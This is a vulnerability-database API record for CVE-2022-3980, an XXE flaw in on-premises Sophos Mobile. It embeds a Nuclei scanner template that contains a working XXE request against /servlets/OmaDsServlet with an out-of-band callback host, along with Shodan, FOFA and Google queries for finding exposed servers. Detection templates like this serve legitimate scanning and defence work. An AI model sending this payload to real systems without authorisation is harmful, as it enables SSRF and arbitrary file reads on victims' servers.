{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2022-3980/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2022-3980/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2022-3980/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2022-3980/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2022-3980/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2022-3980"},"sightings":{"href":"/api/v1/sightings/cve-2022-3980"}},"data":{"nuclei":true,"nuclei_template":"http/cves/2022/CVE-2022-3980.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2022-3980\n\ninfo:\n  name: Sophos Mobile managed on-premises - XML External Entity Injection\n  author: dabla\n  severity: critical\n  description: |\n    An XML External Entity (XXE) vulnerability allows server-side request forgery (SSRF) and potential code execution in Sophos Mobile managed on-premises between versions 5.0.0 and 9.7.4.\n  impact: |\n    Successful exploitation of this vulnerability could allow an attacker to read arbitrary files on the server or conduct server-side request forgery (SSRF) attacks.\n  remediation: |\n    Apply the latest security patches or updates provided by Sophos to mitigate the vulnerability.\n  reference:\n    - https://www.sophos.com/en-us/security-advisories/sophos-sa-20221116-smc-xee\n    - https://nvd.nist.gov/vuln/detail/CVE-2022-3980\n    - https://github.com/bigblackhat/oFx\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2022-3980\n    cwe-id: CWE-611\n    epss-score: 0.08906\n    epss-percentile: 0.95047\n    cpe: cpe:2.3:a:sophos:mobile:*:*:*:*:*:*:*:*\n  metadata:\n    verified: true\n    max-request: 1\n    vendor: sophos\n    product: mobile\n    shodan-query:\n      - http.favicon.hash:-1274798165\n      - http.title:\"sophos mobile\"\n    fofa-query:\n      - title=\"Sophos Mobile\"\n      - icon_hash=-1274798165\n      - title=\"sophos mobile\"\n    google-query: intitle:\"sophos mobile\"\n  tags: cve,cve2022,xxe,ssrf,sophos,vkev,vuln\n\nhttp:\n  - raw:\n      - |\n        @timeout: 50s\n        POST /servlets/OmaDsServlet HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: \"application/xml\"\n\n        <?xml version=\"1.0\"?>\n        <!DOCTYPE cdl [<!ENTITY % test SYSTEM \"http://{{interactsh-url}}\">%test;]>\n        <cdl>test</cdl>\n\n    redirects: true\n    max-redirects: 3\n    matchers:\n      - type: dsl\n        dsl:\n          - \"contains(interactsh_protocol, 'http') || contains(interactsh_protocol, 'dns')\"\n          - \"status_code == 400\"\n          - \"len(body) == 0\"\n        condition: and\n# digest: 4a0a00473045022100f797ee1a1a292bb224452418f575a830724fd46d978c9e8276855a9119e9b65902207dc0d001a86b3163a1451814d6b7daee628e7db40494b2953f9c81cad1cf3898:922c64590222798bb761d5b6d8e72950"},"source":"nuclei","vuln_id":"cve-2022-3980"}